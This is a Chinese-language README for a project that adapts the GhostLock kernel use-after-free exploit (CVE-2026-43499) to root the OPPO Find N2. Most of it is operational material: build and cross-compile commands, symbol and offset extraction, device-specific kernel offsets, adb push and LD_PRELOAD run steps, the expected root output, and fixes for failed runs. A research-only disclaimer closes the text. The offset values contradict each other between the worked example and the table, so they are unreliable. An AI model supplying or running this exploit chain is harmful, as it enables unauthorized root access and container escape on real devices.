基于 NebuSec CyberMeowfia 项目的 GhostLock 内核漏洞利用,适配 OPPO Find N2 (SM8475) 设备。
GhostLock (CVE-2026-43499) 是一个存在于 Linux 内核 rt_mutex 子系统中的栈 UAF 漏洞,自 2011 年 Linux 2.6.39 引入,影响所有主流 Linux 发行版超过 15 年。
- 漏洞类型: 栈 Use-After-Free
- 影响范围: 所有启用
CONFIG_FUTEX_PI=y的 Linux 内核 - 利用效果: 非特权本地用户提权至 root + 容器逃逸
- Google 奖励: $92,337 (kernelCTF)
- 原始研究: NebuSec IonStack Part II
| 项目 | 值 |
|---|---|
| 型号 | OPPO PGU110 (Find N2) |
| 芯片 | Snapdragon 8+ Gen 1 (SM8475) |
| 内核 | Linux 5.10.236-android12-9 GKI |
| Android | 16 |
| Build | PGU110_16.0.5.1001(CN01) |
oppo-ghostlock/
├── README.md # 本文件
├── DEBUG_GUIDE.md # 调试指南
├── commands.txt # 快速命令参考
├── GhostLock_完整指南.txt # 完整使用指南
├── extract-vmlinux # 内核源码自带的 vmlinux 提取工具
├── CyberMeowfia-main/ # 原始 exploit 代码
│ └── IonStack/CVE-2026-43499/
│ ├── exploit/
│ │ ├── Makefile # 编译脚本
│ │ └── src/
│ │ ├── main.c # 主入口
│ │ ├── util.c # 工具函数
│ │ ├── slide.c # KASLR 绕过
│ │ ├── fops.c # 文件操作伪造
│ │ ├── pipe.c # 管道利用
│ │ ├── root.c # 提权逻辑
│ │ ├── preload.c # LD_PRELOAD 入口
│ │ └── targets/
│ │ └── oppo-find_n2/
│ │ └── target.h # ★ OPPO Find N2 偏移配置
│ └── poc/ # PoC 代码
├── kernel_extracted/ # 从内核源码提取的关键文件
│ ├── ashmem.c, ashmem.h
│ ├── pipe.c, pipe_fs_i.h
│ ├── configfs.h, file.c
│ ├── splice.c, seq_file.c
│ ├── nf_log.h, security.h
│ ├── cred.h, sched.h, slab.h
│ └── ... (共18个文件)
└── oppo-ghostlock-upload/ # GitHub 上传目录
sudo apt install -y gcc-11 make flex bison libssl-dev bc libelf-dev \
dwarves aarch64-linux-gnu-gcc方法 A: 从内核源码编译 (推荐)
cd kernel_src/android_kernel_oppo_sm8475-oppo-sm8475_b_16.0.0_find_n2
export ARCH=arm64 CC=gcc-11 CROSS_COMPILE=aarch64-linux-gnu-
make gki_defconfig
make vmlinux -j$(nproc)方法 B: 用 extract-vmlinux 从 boot.img 提取
chmod +x extract-vmlinux
./extract-vmlinux /path/to/boot.img > vmlinux# 用 pahole 提取结构体偏移
pahole -s task_struct vmlinux > task_offsets.txt
pahole -s cred vmlinux > cred_offsets.txt
pahole -s rt_mutex_waiter vmlinux > waiter_offsets.txt
# 用 nm 提取符号地址
aarch64-linux-gnu-nm vmlinux | grep -E \
"init_task$|root_task_group$|ashmem_fops$|ashmem_ioctl$|\
configfs_read_file$|noop_llseek$|generic_file_splice_read$|\
nfulnl_logger$|sysctl_bootid$|selinux_state$|\
security_hook_heads$|kmalloc_caches$|anon_pipe_buf_ops$" \
> symbols.txt从 symbols.txt 读取地址,减去 KIMAGE_TEXT_BASE (0xffffffc080000000) 得到偏移:
symbols.txt: ffffffc00a7cc000 T init_task
target.h: #define INIT_TASK_OFF 0x027cbe20ULL
cd CyberMeowfia-main/IonStack/CVE-2026-43499/exploit
NDK=~/android-ndk-cache/android-ndk-r27d
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang-18 \
--target=aarch64-linux-android35 \
--sysroot=$NDK/toolchains/llvm/prebuilt/linux-x86_64/sysroot \
-O2 -fPIC -shared \
-DTARGET_CONFIG_H=\"targets/oppo-find_n2/target.h\" \
src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
src/root.c src/preload.c src/su_blob.S src/wallpaper_blob.S \
-pthread -o build/oppo-find_n2/bin/preload.so# 检查设备连接
./platform-tools/adb devices
# 推送 exploit
./platform-tools/adb push build/oppo-find_n2/bin/preload.so /data/local/tmp/
# 运行 exploit (通过 LD_PRELOAD 注入)
./platform-tools/adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/id"正常输出:
[+] startup context pid=XXXX uid=2000 euid=2000
[+] slide-kaslr-ok pid=XXXX base=XXXXXXXXXXXXXXXX
[+] pipe-physrw-summary pid=XXXX root=1
如果看到 root=1,说明 exploit 成功获取了 root 权限。
以下偏移已通过 boot.img 二进制 + vmlinux-to-elf nm 精确验证:
| 符号 | 偏移 | 验证方式 |
|---|---|---|
INIT_TASK_OFF |
0x027cbf60 |
✓ pid=0, tgid=0, comm="swapper" |
ASHMEM_IOCTL_OFF |
0x011ee730 |
✓ nm + 二进制验证 |
ASHMEM_MMAP_OFF |
0x011ef2a0 |
✓ nm |
ASHMEM_OPEN_OFF |
0x011ef4e0 |
✓ nm |
ASHMEM_RELEASE_OFF |
0x011ef580 |
✓ nm |
ASHMEM_SHOW_FDINFO_OFF |
0x011ef6a4 |
✓ nm |
NOOP_LLSEEK_OFF |
0x0056cec8 |
✓ nm |
CONFIGFS_READ_FILE_OFF |
0x006b046c |
✓ nm |
GENERIC_FILE_SPLICE_READ_OFF |
0x005e6b28 |
✓ nm |
以下偏移需要通过 pahole -s <struct> vmlinux 验证:
ROOT_TASK_GROUP_OFF- root_task_group 地址SELINUX_STATE_OFF- selinux_state 地址SECURITY_HOOK_HEADS_OFF- security_hook_heads 地址KMALLOC_CACHES_OFF- kmalloc_caches 地址ANON_PIPE_BUF_OPS_OFF- anon_pipe_buf_ops 地址SLIDE_NFULNL_LOGGER_OFF- nfulnl_logger 地址SLIDE_RANDOM_BOOT_ID_DATA_OFF- random_boot_id 数据地址
原因: target.h 中的偏移不正确 解决: 重新用 pahole/nm 提取偏移,确保所有值正确
原因: 竞态条件失败 解决: 多次尝试运行 exploit
解决: adb shell chmod 755 /data/local/tmp/preload.so
解决: 编辑 include/linux/compiler-gcc.h:
// 原始
#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0)
// 修改为
#define asm_volatile_goto(x...) asm goto(x)解决: 在 arch/arm64/mm/init.c 中注释掉:
// early_param("disable_dma32", early_disable_dma32);
// early_param("mem", early_mem);kernel_extracted/ 目录包含从 OPPO 内核源码中提取的关键文件,用于理解 exploit 的工作原理:
| 文件 | 用途 |
|---|---|
ashmem.c/h |
ashmem 设备驱动,提供 file_operations |
pipe.c |
管道缓冲区操作 |
configfs.h |
configfs 文件系统接口 |
splice.c |
splice 系统调用实现 |
security.h |
SELinux 安全状态结构 |
cred.h |
进程凭证结构 |
sched.h |
调度器和 task_struct |
slab.h |
内存分配器 |
nf_log.h |
netfilter 日志 |
seq_file.c |
序列文件接口 |
- NebuSec CyberMeowfia - 原始 exploit 项目
- GhostLock 写作 - 技术细节
- VEGA - AI 漏洞扫描工具
本项目仅供安全研究和教育目的。使用本工具造成的任何后果由使用者自行承担。请在授权范围内进行安全测试。
Apache License 2.0